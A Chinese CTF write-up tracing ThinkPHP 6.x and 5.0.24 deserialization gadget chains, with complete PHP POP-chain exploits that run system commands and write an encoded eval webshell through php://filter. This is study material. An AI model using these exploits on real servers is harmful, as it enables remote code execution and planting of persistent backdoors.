[安洵杯 2019]iamthinking
/public
发现有www.jpg
,所以就试着会不会有源码泄露,直接访问www.zip
得到源码
0x01:
在app/controller/index.php
里面发现反序列化函数,那么有可能可以利用
之后就可以找一下链子,可以从__destruct
,__tostring
,__call
等魔术方法
记录一下:
1.先试一下__destruct
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
|
public function __destruct() { if (! $this->autosave) { $this->save(); } }
public function __destruct() { if ($this->lazySave) { $this->save(); } }
public function save(): void { $this->clearFlashData();
$sessionId = $this->getId();
if (!empty($this->data)) { $data = $this->serialize($this->data);
$this->handler->write($sessionId, $data); } else { $this->handler->delete($sessionId); }
$this->init = false; }
|
看了一圈之后,因为不是很懂namespace
和use
关键字的用法,所以先去查了一下
2.再回来看,感觉Abstractcache.php
不可利用,所以就先去观察一下Model.php
吧,先去跟踪一下save函数
Model/save()
,isEmpty函数要求$this->data
不为空,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| public function save(array $data = [], string $sequence = null): bool { $this->setAttrs($data);
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) { return false; }
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
if (false === $result) { return false; }
$this->trigger('AfterWrite');
$this->origin = $this->data; $this->set = []; $this->lazySave = false;
return true; }
|
跟踪updateData
函数,一行一行看过去,可以在 $allowFields = $this->checkAllowFields();
跳转到checkAllowFields
函数之后可以发现存在我们可控的字符串拼接,也就是说可以利用toString
方法
跟踪ModelEvent/trigger函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| protected function trigger(string $event): bool { if (!$this->withEvent) { return true; }
$call = 'on' . Str::studly($event);
try { if (method_exists(static::class, $call)) { $result = call_user_func([static::class, $call], $this); } elseif (is_object(self::$event) && method_exists(self::$event, 'trigger')) { $result = self::$event->trigger(static::class . '.' . $event, $this); $result = empty($result) ? true : end($result); } else { $result = true; }
return false === $result ? false : true; } catch (ModelEventException $e) { return false; } }
|
在这里我觉得call_user_func([static::class, $call], $this)
这段代码有点可疑,但是由于对php一些语法还是不是很理解,比如对这个函数里面的[static::class, $call], $this
就不是很理解,然后这里的$call
在前面又会有字符串的拼接,所以应该是利用不了的,所以还是直接去找toString
方法吧
3.找可利用的__toString
全局搜索toString
方法,可以在Collection.php
和Conversion.php
中遇到可以利用的方法,但是在Collection
中,函数在进行到toArray
之后就停止了,并没有可利用的点,那我们来分析Conversion.php
__toString
,跟踪toJson
方法,是对数据进行json加密,跟踪toArray
Conversion/toArray
,前半段都不会影响什么,直接跟踪appendAttrToArray
1 2 3 4 5 6 7 8 9 10 11 12 13
| public function toArray(): array { …… …… …… foreach ($this->append as $key => $name) { $this->appendAttrToArray($item, $key, $name); }
return $item; }
|
Conversion/appendAttrToArray
,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| protected function appendAttrToArray(array &$item, $key, $name) { if (is_array($name)) { $relation = $this->getRelation($key, true); $item[$key] = $relation ? $relation->append($name) ->toArray() : []; } elseif (strpos($name, '.')) { list($key, $attr) = explode('.', $name); $relation = $this->getRelation($key, true); $item[$key] = $relation ? $relation->append([$attr]) ->toArray() : []; } else { $value = $this->getAttr($name); $item[$name] = $value;
$this->getBindAttr($name, $value, $item); } }
|
Attribute/getAttr
,跟踪getData,大概会返回$this->data[$name]
,直接跟踪getValue
1 2 3 4 5 6 7 8 9 10 11 12 13
| public function getAttr(string $name) { try { $relation = false; $value = $this->getData($name); } catch (InvalidArgumentException $e) { $relation = $this->isRelationAttr($name); $value = null; }
return $this->getValue($name, $value, $relation); }
|
Attribute/getData
,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public function getData(string $name = null) { if (is_null($name)) { return $this->data; }
$fieldName = $this->getRealFieldName($name);
if (array_key_exists($fieldName, $this->data)) { return $this->data[$fieldName]; } elseif (array_key_exists($name, $this->relation)) { return $this->relation[$name]; }
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name); }
|
Attribute/getRealFieldName
1 2 3 4 5
| protected function getRealFieldName(string $name): string { return $this->strict ? $name : Str::snake($name); }
|
Attribute/getValue
,可以发现如果$this->withAttr[$fieldName]
不是数组的话,就直接进入$closure($value, $this->data);
,看注释掉的内容,也可以意识到这里就是可以直接执行代码的地方了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| protected function getValue(string $name, $value, $relation = false) { $fieldName = $this->getRealFieldName($name); $method = 'get' . Str::studly($name) . 'Attr';
if (isset($this->withAttr[$fieldName])) { if ($relation) { $value = $this->getRelationValue($relation); }
if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) { $value = $this->getJsonValue($fieldName, $value); } else { $closure = $this->withAttr[$fieldName]; $value = $closure($value, $this->data); ……………………
|
思路总结1:
- 先触发Model类的__destruct方法,使得$this->lazySave为true进入save函数
- 要求
$this->withEvent为false
,$this->data不为空,$this->exits为true,进入updateData函数
- 直接进入Attribute类的getChangedData函数,会因为之后要去check,所以不能在下一个if语句里return掉,所以返回的$data不能为空,所以要求Attribute里面的$this->force为true,$this->data要有值,进入Model,checkAllowFields函数
- 进入if,要求$this->field和$this->schema都为空,在这里$this->table . $this->suffix触发Conversion类的toString方法,所以要求$this->table为true,$this->suffix实例化Conversion
- 进入Conversion类,进入toArray函数,进入Attribute类的getAttr函数,传键值,进入getData函数,传入的值不能为空,进入getRealFieldName函数,要求$this->strict为true,使得直接返回$name,然后要在键值要存在于$this->data中,使得直接返回$this->data[$name],最后以$name=$key $value=$this->data[$name] $relation=false进入getValue函数
- 进入if,要求$this->withAttr[$name]有值并且不是数组,进入$closure = $this->withAttr[$fieldName];$closure($value, $this->data);进行代码执行
总结2:
Model: $this->lazySave = true; $this->withEvent = false; $this->exits = true; $this->data = []; $this->table = true; $this->suffix = new Conversion(); $this->field = []; $this->schema = [];
Attribute: $this->force = true; $this->data = [$name=>’cat /flag’]; $this->strict = true; $this->withAttr = [$name=>’system’];
poc:(网上的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| <?php namespace think {
use think\model\concern\Attribute; use think\model\concern\Conversion; use think\model\concern\RelationShip;
abstract class Model { use Conversion; use RelationShip; use Attribute;
private $lazySave; protected $table; public function __construct($obj) { $this->lazySave = true; $this->table = $obj; $this->visible = array(array('hu3sky'=>'aaa')); $this->relation = array("hu3sky"=>'aaa'); $this->data = array("a"=>'cat /flag'); $this->withAttr = array("a"=>"system"); } } }
namespace think\model\concern { trait Conversion { protected $visible; }
trait RelationShip { private $relation; }
trait Attribute { private $data; private $withAttr; } }
namespace think\model { class Pivot extends \think\Model { } }
namespace { $a = new think\model\Pivot(''); $b = new think\model\Pivot($a);
echo urlencode(serialize($b)); }
|
poc:(我自己写的 出错了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| <?php namespace think\model\concern { trait Conversion{
}
trait Attribute{ public function __construct(){ $this->force = true; $this->data = ['yuer'=>'cat /flag']; $this->strict = true; $this->withAttr = ['yuer'=>'system']; } } }
namespace think{ use model\concern\Attribute; use model\concern\Conversion; use think\model\concern\Attribute as ConcernAttribute; use think\model\concern\Conversion as ConcernConversion;
class Model{ use ConcernAttribute; use ConcernConversion; public function __construct() { $this->lazySave = true; $this->withEvent = false; $this->exits = true; $this->data = ["1"]; $this->table = true; $this->suffix = new ConcernConversion(); $this->field = []; $this->schema = []; } } }
namespace { $a = new think\Model(); echo urlencode(serialize($a)); }
|
最后生成的payload,注意这里存在parse_url
解析漏洞,像之前一样绕过就好了
后记:
总的来说,还是对thinkphp框架不够理解,对namespace和use关键字的运用理解不能
这两天除了这道题,参加的比赛也都要审计大量的代码,感觉头昏脑胀的(悲
代码一看得多了,再加上有些代码还是不能理解透,所以过程中思绪就会有点乱
再努力吧
Thinkphp5.0.24反序列化
Thinkphp5.0.24
0x01:
因为已经知道是反序列化漏洞了,所以直接审计代码吧。一般常用的魔术方法:
1 2 3 4 5 6 7
| __construct __destruct __toString __wakeup __get __invoke ……
|
所以我们可以先自行全局搜索一下可用的魔术方法
1.__destruct
一共搜到四个,暂时发现可利用的有一个Windows.php
里面的存在可触发toString
的点,那就先直接从这里开始
首先是__destruct
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public function __destruct() { $this->close(); $this->removeFiles(); }
private function removeFiles() { foreach ($this->files as $filename) { if (file_exists($filename)) { @unlink($filename); } } $this->files = []; }
|
那之后可以去找一下toString
方法
2.__toString
因为前面审计了6.x的反序列化漏洞,所以再找到Model类的时候就直接看了,继续跟踪函数
toArray
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
| public function toArray() { $item = []; $visible = []; $hidden = [];
$data = array_merge($this->data, $this->relation);
if (!empty($this->visible)) { $array = $this->parseAttr($this->visible, $visible); $data = array_intersect_key($data, array_flip($array)); } elseif (!empty($this->hidden)) { $array = $this->parseAttr($this->hidden, $hidden, false); $data = array_diff_key($data, array_flip($array)); }
foreach ($data as $key => $val) { if ($val instanceof Model || $val instanceof ModelCollection) { $item[$key] = $this->subToArray($val, $visible, $hidden, $key); } elseif (is_array($val) && reset($val) instanceof Model) { $arr = []; foreach ($val as $k => $value) { $arr[$k] = $this->subToArray($value, $visible, $hidden, $key); } $item[$key] = $arr; } else { $item[$key] = $this->getAttr($key); } } if (!empty($this->append)) { foreach ($this->append as $key => $name) { if (is_array($name)) { $relation = $this->getAttr($key); $item[$key] = $relation->append($name)->toArray(); } elseif (strpos($name, '.')) { list($key, $attr) = explode('.', $name); $relation = $this->getAttr($key); $item[$key] = $relation->append([$attr])->toArray(); } else { $relation = Loader::parseName($name, 1, false); if (method_exists($this, $relation)) { $modelRelation = $this->$relation(); $value = $this->getRelationData($modelRelation);
if (method_exists($modelRelation, 'getBindAttr')) { $bindAttr = $modelRelation->getBindAttr(); if ($bindAttr) { foreach ($bindAttr as $key => $attr) { $key = is_numeric($key) ? $attr : $key; if (isset($this->data[$key])) { throw new Exception('bind attr has exists:' . $key); } else { $item[$key] = $value ? $value->getAttr($attr) : null; } } continue; } } $item[$name] = $value; } else { $item[$name] = $this->getAttr($name); } } } } return !empty($item) ? $item : []; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| protected function getRelationData(Relation $modelRelation) { if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) { $value = $this->parent; } else { if (method_exists($modelRelation, 'getRelation')) { $value = $modelRelation->getRelation(); } else { throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation'); } } return $value; }
|
3.__call
在OutPut
类找到可能可以利用的,其他的都较难利用
1 2 3 4 5 6 7 8 9 10 11 12 13
| public function __call($method, $args) { if (in_array($method, $this->styles)) { array_unshift($args, $method); return call_user_func_array([$this, 'block'], $args); }
if ($this->handle && method_exists($this->handle, $method)) { return call_user_func_array([$this->handle, $method], $args); } else { throw new Exception('method not exists:' . __CLASS__ . '->' . $method); } }
|
可以对block
方法进行追踪,这里要知道$method=getAttr $args=$key
(前面调用的 所以第二个if语句是不可利用的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| protected function block($style, $message) { $this->writeln("<{$style}>{$message}</$style>"); } public function writeln($messages, $type = self::OUTPUT_NORMAL) { $this->write($messages, true, $type); }
public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL) { $this->handle->write($messages, $newline, $type); }
|
可以在Memcache
中找到至少是我们可以利用的write
1 2 3 4
| public function write($sessID, $sessData) { return $this->handler->set($this->config['session_name'] . $sessID, $sessData, 0, $this->config['expire']); }
|
直接搜索可利用的set方法,找了一圈下来发现set犯法都是三个参数,但是php是不在乎参数多少的
在File
类中找到似乎可以利用的file_put_contents
,而data拼接里面存在exit,这种类型的以前是遇到过的,直接在filename那里用php伪协议绕过就好了,而同时要把我们要写入的一句话进行base64加密,同时不能让数据被压缩,所以$this->options['data_compress']
要为false,然后只要文件写入成功了就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| public function set($name, $value, $expire = null) { if (is_null($expire)) { $expire = $this->options['expire']; } if ($expire instanceof \DateTime) { $expire = $expire->getTimestamp() - time(); } $filename = $this->getCacheKey($name, true); if ($this->tag && !is_file($filename)) { $first = true; } $data = serialize($value); if ($this->options['data_compress'] && function_exists('gzcompress')) { $data = gzcompress($data, 3); } $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data); if ($result) { isset($first) && $this->setTagItem($filename); clearstatcache(); return true; } else { return false; } }
protected function getCacheKey($name, $auto = false) { $name = md5($name); if ($this->options['cache_subdir']) { $name = substr($name, 0, 2) . DS . substr($name, 2); } if ($this->options['prefix']) { $name = $this->options['prefix'] . DS . $name; } $filename = $this->options['path'] . $name . '.php'; $dir = dirname($filename);
if ($auto && !is_dir($dir)) { mkdir($dir, 0755, true); } return $filename; }
protected function setTagItem($name) { if ($this->tag) { $key = 'tag_' . md5($this->tag); $this->tag = null; if ($this->has($key)) { $value = explode(',', $this->get($key)); $value[] = $name; $value = implode(',', array_unique($value)); } else { $value = $name; } $this->set($key, $value, 0); } }
|
思路整理:
1.首先从Windows类的__destruct方法开始,调用removeFiles方法,当对$this->files进行file_exits进行判断的时候触发toString方法
2.在Model类中找到toString方法,依旧是json调用toArray ,在这里可以实现对__call方法的调用,要求this->append数组不为空,并且数组里面的值不能是数组的类型,也不能存在.
,在执行值所代表的方法的时候会返回一个类且这个类里面存在getBindAttr这个方法,而后面还有value=new Output(),所以 append[]=’getError’ this->error= OneToOne和Query的子类; this->parent=new Output();(Query)this->model = new Output();
这里出现了一个矛盾,我们要求modelRelation 可以调用 getBindAttr,那modelRelation 最好是OneToOne,但是在getRelationData方法中我们要利用modelRelation 去调用model方法,而此时要用Query类,那么只能找OneToOne和Query的子类的
3.Output里面的__call方法,要求this->styles = [‘getAttr’]; this->handle=new Memcache();
4.Memcache类中的write方法,this->handle=new File();从而调用File类里面的set方法,this->options[‘cache_subdir’]=false;this->options[‘prefix’]=false;$this->options[‘path’]=(php伪协议);this->options[‘data_compress’]=false;
网上找的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121
| <?php namespace think\process\pipes { class Windows { private $files = [];
public function __construct($files) { $this->files = [$files]; } } }
namespace think { abstract class Model{ protected $append = []; protected $error = null; public $parent;
function __construct($output, $modelRelation) { $this->parent = $output; $this->append = array("xxx"=>"getError"); $this->error = $modelRelation; } } }
namespace think\model{ use think\Model; class Pivot extends Model{ function __construct($output, $modelRelation) { parent::__construct($output, $modelRelation); } } }
namespace think\model\relation{ class HasOne extends OneToOne {
} } namespace think\model\relation { abstract class OneToOne { protected $selfRelation; protected $bindAttr = []; protected $query; function __construct($query) { $this->selfRelation = 0; $this->query = $query; $this->bindAttr = ['xxx']; } } }
namespace think\db { class Query { protected $model;
function __construct($model) { $this->model = $model; } } } namespace think\console{ class Output{ private $handle; protected $styles; function __construct($handle) { $this->styles = ['getAttr']; $this->handle =$handle; }
} } namespace think\session\driver { class Memcached { protected $handler;
function __construct($handle) { $this->handler = $handle; } } }
namespace think\cache\driver { class File { protected $options=null; protected $tag;
function __construct(){ $this->options=[ 'expire' => 3600, 'cache_subdir' => false, 'prefix' => '', 'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php', 'data_compress' => false, ]; $this->tag = 'xxx'; }
} }
namespace { $Memcached = new think\session\driver\Memcached(new \think\cache\driver\File()); $Output = new think\console\Output($Memcached); $model = new think\db\Query($Output); $HasOne = new think\model\relation\HasOne($model); $window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne)); echo serialize($window); echo base64_encode(serialize($window)); }
|